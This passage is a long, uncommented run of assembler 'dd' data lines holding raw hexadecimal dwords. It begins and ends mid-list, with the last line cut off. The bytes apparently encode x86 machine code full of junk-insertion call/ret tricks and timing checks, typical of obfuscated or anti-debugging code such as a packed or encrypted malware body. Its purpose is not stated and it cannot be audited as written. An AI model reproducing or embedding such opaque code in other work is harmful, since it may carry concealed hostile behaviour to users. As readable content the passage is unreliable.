0BD8B5486h, 61F1A79h, 3DB5015Bh, 2B061F12h dd 858B60C3h, 61F2A69h, 5E616052h, 8343D61h, 860F0000h dd 2Dh, 0E9FBB70Fh, 39h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 54C35747h, 892E90FDh, 1F1525B5h, 0E9C08B06h dd 0Dh, 0AD42E34h, 0E432BF8Ah, 9162904h, 8BC38B73h, 71BD8BD8h dd 0C7061F2Dh, 1F1D3D85h, 0AB7D3506h, 0F98B6655h, 9D89C08Bh dd 61F1611h, 5E1BD81h, 7D0061Fh, 850F0000h, 40h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CC35141h, 0B2BC50F3h dd 605AD161h, 0D681C18Bh, 0E5B267Bh, 0E9958961h, 0F061F2Dh dd 89h, 0E185FF00h, 0F5061F05h, 5E1B5FFh, 6A061Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 210DA2C3h, 0F6E55431h, 8B4DC226h, 1F18E1BDh, 0B5316006h dd 61F1CF1h, 6E9h, 0F255D900h, 6177C908h, 1D4595FFh, 6A061Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 24C83DC3h, 755FC10h, 1B58BBFh, 90061F2Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BEC35040h, 53CD9A26h dd 0F9BE6661h, 56006AF2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D8929B7h, 61F13DDh, 1AADB589h dd 0BD01061Fh, 61F1671h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0F4C35545h, 4DB7F7E2h, 6A6FFDh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0CE9C1C3h, 7E000000h, 8A3715C7h, 784C015Ah, 0E98FA9DCh dd 13h, 3CF504B0h, 3115F136h, 319673E0h, 7B367623h, 6AA9EA33h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8BA3C352h, 0F08B66FBh, 1B518509h, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7AD2ABC3h, 0ADF433CDh, 0BD8BA2F1h, 61F110Dh, 0EAE9FE8Bh dd 6AFFFFF8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0D983C351h, 850F9257h, 3, 8BF78B66h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 90D5D4FFh, 0E9493CB6h, 11h, 39CA8F57h, 0BC4E586Ah dd 34078410h, 0A33BEE3Fh, 4EB36h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0E6EFC356h, 0FC199376h, 0F8ABC20Ch, 5EF85051h, 0BD858D5Eh dd 6A061F19h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 318C352h dd 50DEFC03h, 42E1BE66h, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DD22C356h dd 8B511591h, 1F2F29B5h, 9BD8B06h, 0F061F2Bh, 6AF0BFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 61C35141h dd 101DB53Fh, 2F759D29h, 6A061Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0EDC35343h, 0CFAFCE3Ch, 8D9A5B2Bh dd 23167D85h, 69BD8B06h, 0E9061F02h, 0Fh, 8074699Ah, 370F11B9h dd 0B8CA0C84h, 830BF395h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B58B6AC3h, 61F0CCDh dd 0E8525050h, 12h, 8CC93F05h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h dd 0EE86D8Dh, 5C000000h, 94A8F99Eh, 3B98FC25h, 53A66BA5h dd 0F5E5F10h, 0BF665731h, 5A5EDF13h, 24048958h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BFC35242h, 439751B6h dd 0B3A32609h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0E68142C3h, 6EC3F1F8h, 3903BF66h dd 2C358D31h, 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 6AC35545h, 0A4720E4Fh, 0FE8B79EDh, 16195FFh dd 8960061Fh, 1F021195h, 0ADDA8106h, 6125414Bh, 0B1F29D8Dh dd 81660622h, 0FFFB00F6h, 53006AD3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9730996Dh dd 6E28F558h, 8BF905D8h, 2985FFFBh, 89061F10h, 1F0AD5BDh dd 8A2E906h, 0E80000h, 5D000000h, 1687ED81h, 6A0623h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6F0CFC3h, 6AEAFA58h, 0BD8BF42Bh, 61F1391h, 81F7B70Fh dd 1F05E1BDh, 7D006h, 9A860F00h, 8B000001h, 9D8BFCF3h dd 61F2009h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0E5C35747h, 6A1F64CDh, 0BE90Eh, 77510000h, 252DEA8Fh dd 3A3E187Bh, 0E381CAh, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A6C351h dd 0DEF81A8h, 661865EDh, 0DB0BFE8Bh, 0C4850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0FB1CBC3h, 31CB86D7h, 1F07559Dh, 0CE906h, 89450000h dd 0CA93B992h, 36C690C5h, 0BD83958Bh, 6231457h, 21840F00h dd 0F000000h, 483h, 0DBBE6600h, 6880F6Ch, 81000000h, 4FB6DEDEh dd 91E97Bh, 0C7810000h, 2C76DBBDh, 145785C7h, 10623h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0F345E1C3h, 0FA05B63Bh, 95096C15h, 61F0841h, 52E9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0A3CB0D7Ch, 28520F86h, 85C78CD5h, 6231457h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9FC35040h dd 0AEC2218Ch, 8DD2FB09h, 1F20099Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2F427687h dd 2B94BA22h, 1F080DB5h, 0FF238106h, 8BFFFFFEh, 1F070DBDh dd 0DB8C6606h, 70D8589h, 0C3F6061Fh, 3C840F04h, 66000000h dd 5F3AF781h, 317595FFh, 9D89061Fh, 61F2751h, 52505090h dd 3DF3BF66h, 5250310Fh, 8B0Fh, 310F0000h, 585AFB8Bh, 8B90585Ah dd 1F2D21B5h, 0F575706h, 86h, 0E95F5F00h, 455h, 0EE957h dd 0C2A40000h, 1DEB0C53h, 0B651E7B6h, 21C14FC3h, 6A00B05Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 3FC5C352h, 359529h, 0DF81061Fh, 10751397h dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 865982C3h, 66028955h, 4110C781h, 6A71E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B60F09C3h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 54F2C95Dh, 0A53FD16Ch dd 8166A967h, 0BA36B4E7h, 6, 61605260h, 79958B58h, 61061F08h dd 0C1F9C38Bh, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 66948EC3h, 8D29FB8Bh, 61F132Dh dd 0F766F88Bh, 8D8B60E2h, 61F0F55h, 2B61D98Bh, 7E9D8h dd 0EFAD0000h, 6103D6CDh, 0AE993B0h, 0AD000000h, 9F9E4A08h dd 0DDE61475h, 0CE9504Dh, 0BD000000h, 0D4A839F8h, 0CA1BC29Ch dd 93F7247Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 89C35040h, 5C556B62h, 0FFD90D6Ah, 1F05E1B5h, 0F3B70F06h dd 1D4595FFh, 9589061Fh, 61F2F0Dh, 6A00B0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 76390EC3h dd 6CB7907Ch, 10E6C681h, 0BD8B31F7h, 61F1A39h, 6A70E6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 380D63C3h, 15D4BF5Ch, 6D8529A6h, 0E4061F23h, 56006A71h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 25A273ACh, 171DBD8Bh, 613C061Fh, 263830Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0BB63BDC3h, 0BAD96F7h, 0B5097C55h, 61F2B01h, 6AD8B60Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0C3F9C352h, 0BD8BCFF8h, 61F0E29h, 2318501h dd 6BA061Fh, 0F000000h, 180h, 0C38BFC00h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 0F3C35040h, 840F5510h dd 6, 31B9BD09h, 0E8C1061Fh, 9E904h, 0D4D60000h, 1821C272h dd 66E04E34h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 100FB4C3h, 0D82BAFF1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DAC35646h, 0E58589E1h dd 58061F24h, 5E9h, 471E2000h, 8B600F87h, 1F0CD1BDh, 0AE906h dd 0AD200000h, 0A83A8465h, 0E1A9265Fh, 0FD82B61h, 15088h dd 0A5B52900h, 60061F2Dh, 8E5B52Bh, 8E9061Fh, 0E8000000h dd 65837B66h, 61909B1Ah, 7B9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0D5C681F2h dd 83A0DA9Ah, 3BFC00C1h, 2860FD9h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 279C350h, 26F293E1h, 0B58B2606h, 61F159Dh, 38F0Fh, 0BF0F0000h dd 0D98C66FEh, 0F04C1F6h, 9D84h, 79953100h, 0FF061F02h dd 1F317595h, 8E0F06h, 89000000h, 1F00998Dh, 6A5B06h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 2B4E89C3h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0EE31FBE6h, 897BA155h, 1F0D21BDh dd 0BE85006h, 0A2000000h, 0B7498BAAh, 0CD587F5Fh, 0BD89D099h dd 61F0059h, 343D5F5Eh, 0F000008h, 1986h, 0BE900h, 49140000h dd 11C6054Ah, 0C730697Eh, 2BE9A7h, 0BF660000h, 0C08BDCA2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 48C35343h dd 29DA3B57h, 1F1B059Dh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 452EC731h dd 0FE6C08Ah, 810FFBBFh, 0 dd 1EC185C7h, 5FF7061Fh, 81663727h, 8B8083CEh, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0AEA7ACF1h, 31EF4114h, 0BD8101BAh, 61F05E1h, 7D0h, 25850Fh dd 800F0000h, 6, 0DE9B52Bh, 85FF061Fh, 61F05E1h, 0EE9h dd 0BC9F0F00h, 91703273h, 0A2121192h, 0FFA5DD8Eh, 1F05E1B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 3D1A8F27h, 293495DBh, 1F139995h, 4595FF06h dd 6A061F1Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2098C350h, 0DB24BE66h, 39B58B90h dd 8B061F14h, 1F23E9BDh, 0F1B52B06h, 0F061F30h, 6AF2BFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0E5C24EC3h, 0AE9h, 9AD74300h, 1913ECE4h, 521BDD7Ch dd 2BCD8D89h, 335F061Fh, 1F2E15BDh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0AE92BCB0h dd 0BEE71A59h, 375CB9EEh, 11559D09h, 0BEF8061Fh, 6CFD777Ch dd 52DF8166h, 5E951h, 0C8060000h, 6A254FC7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 6C1CC356h, 2C393439h, 83BDDDCh, 123DB589h, 0BF66061Fh dd 6AE531h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 549ED1C3h, 51809728h, 0FFB70FF9h, 0F3BF0F5Fh dd 18D59509h, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 5F8AAAC3h, 11B52368h, 89061F02h dd 1F0089B5h, 0F764E906h, 0B58BFFFFh, 61F029Dh, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0ED9D29FDh, 0B9061F00h, 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 4FC35343h, 155461BFh, 13D06726h dd 95BD8B7Dh, 8B061F16h, 98D21D3h, 6A061F20h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0B4ACC356h, 0F96191Dh, 0D8D21E2h, 8B061F16h, 1F10D19Dh dd 98D8B06h, 83061F20h, 850F01E1h, 6, 1FA18D89h, 8D8B061Fh dd 61F160Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 61C35141h, 0F01E183h, 2985h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 57798675h dd 0AC434C32h, 2398531h, 6061061Fh, 1FC19589h, 0FEB9061Fh dd 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 7750C352h, 89DFE7C4h, 1F0CC985h dd 0D18D2106h, 6A061F2Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 45CCC350h, 0FF18BB0h dd 8D21F7BFh, 61F0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0CEC35646h, 0CE87Ah, 6C840000h, 0B71BD5E1h dd 0D77DCF91h, 0B58B4124h, 61F2D4Dh, 0D18D8B58h, 6A061F2Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 81CCC351h, 35AEF4CAh, 1E1834Bh, 6850Fh, 95890000h dd 61F2DB5h, 0DD58D8Bh, 0B529061Fh, 61F0869h, 0F01E183h dd 285h, 61C78B00h, 8EBE6660h, 0FFFEB93Fh, 6AFFFFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 25C2DC3h, 0B1E75626h, 66D24C13h, 90BFC381h, 27D8D21h dd 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 9D0921C3h, 61F0EA5h, 1D3D8D21h, 6A061Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 6C64FCC3h, 663BA0C1h, 9FFCE881h, 8B63E380h, 1F027D8Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 6D8589A7h, 83061F06h, 850F01E1h, 1Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0DAC35646h, 8BECB47Dh dd 1F1D3D8Dh, 0D99D8906h, 83061F13h, 850F01E1h, 24h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0ADC35545h, 29BBED7Eh dd 0FA8B66D3h, 6A6061h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0AE781EC3h, 475945C7h, 0D18B6618h dd 2B85958Bh, 0FEB9061Fh, 6AFFFFFFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7D44C355h dd 0B4887ECEh, 19F38389h, 21F8BF0Fh, 1F2C298Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0B41ECF5Ch, 6E9F7h, 350A0000h, 13F7AE28h, 1EC18D21h dd 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 290C31C3h, 1F11DD9Dh, 298D8B06h, 0BE061F2Ch dd 51056C77h, 0F01E183h, 2485h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 2BEF9BE7h dd 0E73D4E3Bh, 0C18D8BBEh, 6A061F1Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B99FC356h dd 0E590BA66h, 664A2F3Ah, 830E95B8h, 850F01E1h, 24h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7FC35343h, 0BB2F9197h dd 0AF2CB866h, 6A6061h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 24A943C3h, 0FE51063h, 88Fh, 28E0F00h dd 60000000h, 0E185C761h, 0D0061F05h, 6A000007h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 61F5C350h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 9FC35646h, 0A958AB00h, 9EC49033h, 7BBA66D1h, 158D29DFh dd 0EB061F0Fh, 0E99D6107h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 16C35343h dd 1DCAAFDh, 1F2B3DBDh, 6ADF8B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 1340C355h dd 4353EEDh, 38B0Fh, 8B660000h, 0EBC18BCFh, 0E09104Bh dd 1AC53C2Fh, 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h dd 49DEBDh, 0D5A3EA1Ah, 0 dd 0FEBF199Ch, 0FE3D0000h, 0FBh, 27E64128h, 0C3727DD4h dd 0EBBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 89F375FCh, 1F02CDBDh, 0F5BD8306h dd 61F0Eh, 69850Fh, 8D890000h, 61F1E11h, 0B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 8DCC32D7h, 6AFD56CCh, 5E9FCE4h, 0AB000000h, 0F9AE72C8h dd 4C2DA8Bh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 3A53F022h, 51D3BF0Fh, 267D9D0Bh dd 8B5F061Fh, 898589C0h, 0E9061F20h, 5, 0BA154011h, 0C1BD83ADh dd 61F06h, 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h dd 4D0h, 0AD789D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h dd 50117400h, 4D0B853h, 9D8D0000h, 621ACC5h, 585BD3FFh dd 1A799531h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 95BCE9C3h, 7FE905EFh, 0C08B07B3h dd 5E9h, 0AC250400h, 858DA17Bh, 6232480h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0ACC35343h, 4FC51EDh dd 0EE901h, 83830000h, 556A42Dh, 61B3D25Ah, 0A3752C80h dd 0DE8h, 0FA3E200h, 0E5D74489h, 19B88E57h, 8E0F71DBh dd 6, 0C0E9E381h, 505A6E50h, 83BA6650h, 4895F85h, 0F7816624h dd 858DA5FEh, 623243Dh, 298529h, 6050061Fh, 0F50D08Bh dd 85h, 89615F00h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BE9D0C3h, 0AB000000h dd 88696636h, 0A436C9B9h, 95FF5DE1h, 61F1F21h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0AEC35242h, 14CEB371h dd 8A11BA21h, 4830Fh, 0BB660000h, 448BB2D0h, 6A0424h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0CA811BC3h, 8468E7Eh, 89D6BF0Fh, 23246885h, 85BD3306h dd 66061F08h, 448BD18Bh, 6A0824h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 40F637C3h, 703A7CC0h dd 0D18BBA29h, 85890EF2h, 623247Ch, 83D1BF0Fh, 1F24B5BDh dd 850F0006h, 10Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0D1C35747h, 663E299Ch, 0E4FD281h, 202585C6h dd 6A47061Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0A48DC355h, 0CCFDD8B6h, 60383EA6h dd 9D98D89h, 8B53061Fh, 1F2B1185h, 0E8615806h, 4, 0D49AA7D2h dd 5840Fh, 7DBA0000h, 5039635Fh, 5E9h, 3D65FC00h, 448B66CCh dd 8A570424h, 8B59F8h, 89CA8B66h, 0BA042444h, 499B02D0h dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 5E826ED2h, 0B5FF7128h, 61F3271h, 0AF5BD09h dd 858D061Fh, 6227993h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0EBC35747h, 687DA6EDh, 14B99589h, 0D0FF061Fh dd 9850Fh, 8A0F0000h, 3, 893CDD80h, 1F24B585h, 0FD8D2306h dd 83061F1Ah, 1F0A11BDh, 850F0006h, 0FBh, 40F38166h, 2585C6F6h dd 47061F20h, 1E1D8D8Bh, 4E8061Fh, 0E2000000h, 668A0FB5h dd 0E950D78Bh, 11h, 86F23323h, 6E6EC678h, 676FBE06h, 582490D3h dd 24448B38h, 10E95004h, 52000000h, 18272DCCh, 54358E4Ah dd 2E896999h, 5F6F9157h, 5250008Bh, 0D565BF66h, 0E860310Fh dd 0Ch, 94FB9BE3h, 55AF742Eh, 60D22968h, 0EE4DB958h, 5A616389h dd 24448958h, 0AEDEBA04h, 6A5820B7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1C2AC351h dd 23A8BE29h, 0C195891Fh, 66061F07h, 0FF5A2FB9h, 1F3271B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 754E03F5h, 4ED707FDh, 958B2C21h, 61F30D1h dd 2E9DF281h, 858D6963h, 6227993h, 2A518D89h, 0D0FF061Fh dd 8589FE8Bh, 61F0A11h, 83DBB70Fh, 1F06F9BDh, 850F0006h dd 10Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 72C35747h, 0B59BC557h, 0C6040921h, 1F202585h, 85895606h dd 61F1F25h, 4E8F8h, 6D390000h, 8B53D41Fh, 50505AD7h, 0DE852h dd 9D850000h, 613DF831h, 36EBAFEAh, 0BA6570A6h, 3F229EFEh dd 0BA310F5Fh, 3466126Ch, 448B585Ah, 8B0424h, 52505250h dd 310F5951h, 310F585Ah, 585ACB8Bh, 4244489h, 0CE9h, 0B61F2000h dd 9AC295F1h, 0F4AFBE1h, 6A5856h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0CF0EC2C3h, 0F1153110h dd 525D933Ah, 0EE8h, 50AC2C00h, 6898037Fh, 0E40EE9D2h dd 52033C10h, 0FF5B5B59h, 1F3271B5h, 1866BF06h, 858D35B2h dd 6227993h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 3AC35141h, 1CF20108h, 0D0FF1D51h, 6F98589h, 9589061Fh dd 61F1BEDh, 202585C6h, 0F6C061Fh, 68Dh, 18D8B00h, 68061F17h dd 0AAB66EB6h, 481D98Bh, 4F01CD24h, 52006A30h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0FFCA8A29h dd 1F20D9B5h, 69BD2306h, 8D061F31h, 1F394D85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 7F58F1A3h, 13E95Bh, 46390000h, 6C1F562Eh, 2500D9F2h dd 529341D0h, 0BE7C24E4h, 8BD0FF85h, 1F02419Dh, 6C858906h dd 0B062324h, 1F00698Dh, 6A046A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EC65C355h dd 8E9h, 0A6D9C000h, 31F21421h, 4E847h, 10000000h, 0AE90000h dd 82000000h, 2C1391B3h, 0D1F33B1Eh, 8B6650F4h, 24448BDAh dd 86BB6604h, 51008B3Ch, 0FE960h, 0A0860000h, 1E986956h dd 6A6F0B8Fh, 8063943Eh, 895F619Eh, 66042444h, 6A58D88Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0ED7FC355h, 0D99533F2h, 68061F05h, 0A1DEAD3h dd 0D3243481h, 0E90A1CEAh, 5, 94390CE9h, 0C2816684h, 6A174Eh dd 0FBE78166h, 0F195FF17h, 6A061F1Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FDC3C355h dd 76AC6A75h, 0A027B909h, 85891992h, 6232478h, 23C99D8Bh dd 0BD8B061Fh, 61F0D55h, 7AB6006Ah, 0DC0C5968h, 66525097h dd 0FFDBFBBh, 68E0F31h, 50000000h, 5A310F52h, 81585A58h dd 0F3A72404h, 9D036824h, 61F23A9h, 50525090h, 0F5F5052h dd 5AD58A31h, 0E9310F58h, 0Dh, 0A956E02Eh, 67F41DB1h, 4A5B7B5Eh dd 50585AEFh, 5F526053h, 850Fh, 5F610000h, 57006A90h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 475D5329h, 2DF99529h, 0B6A061Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 25C35242h, 0C9817FDEh, 12E9h dd 0DB99C600h, 0D1CD00F1h, 0FEDFD28Eh, 100B82FDh, 8DFFA27Dh dd 23244585h, 0FE806h, 79C20000h, 0A6648E4Bh, 0C862D486h dd 4E99F303h, 12E933h, 88A0000h, 0D935C571h, 28C85101h dd 211BEF4Bh, 606DACF7h, 7E8505Bh, 36000000h, 0F7692F6Fh dd 0EE8AABE4h, 2404895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 26C35242h, 8AC176F4h, 95FFFA8Bh, 61F24B5h dd 0E9852360h, 0BA061F1Ch, 5C309903h, 4FB58D61h, 6A062324h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0BA30C350h, 0FA7FCBAh, 6650D3BFh, 893905BAh dd 9D8B2434h, 61F0DADh, 0BABF6650h, 24048970h, 19D8B53h dd 59061F17h, 0A1195FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 43686FC3h, 12E928h, 0BF8C0000h dd 55D39A04h, 0F3F16C74h, 0A59A0E27h, 7D94A094h, 6AD0FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 452EC7C3h, 31E6C08Ah, 58D8B13h, 8B061F16h, 232478B5h dd 41B58906h, 0C7061F13h, 23247085h, 6, 6E900h, 94760000h dd 1838897Bh, 207E80h, 314840Fh, 9D010000h, 61F05B9h, 0C9858960h dd 8D061F0Bh, 8E0F2046h, 4, 6F25BB66h, 24748589h, 0B70F0623h dd 47E9C9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0F5B4E4C3h, 3A01806Ch, 6A40DA83h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E81CC357h, 0D9CF8166h, 3880B4h, 0FFD4850Fh dd 0B509FFFFh, 61F1391h, 0DE9h, 9D8D0100h, 0BB061F05h dd 364FEA20h, 3880F948h, 42840F5Ch, 0E8000000h, 12h, 7954D520h dd 9041CF25h, 81207C2h, 4B75E4E9h, 830F17DAh, 2, 805FD38Bh dd 840F2F38h, 19h, 13918D89h, 8166061Fh, 3BF407E9h, 23247485h dd 0B5830F06h, 0B5FFFFFFh, 6A40CEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 6A0E37C3h dd 89502D57h, 1F2F0DBDh, 0FE906h, 4E450000h, 0CCC2327h dd 0C4FC91B2h, 7A5440CAh, 7CBD83FFh, 62324h, 81840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 204832C3h, 0ABDF6576h, 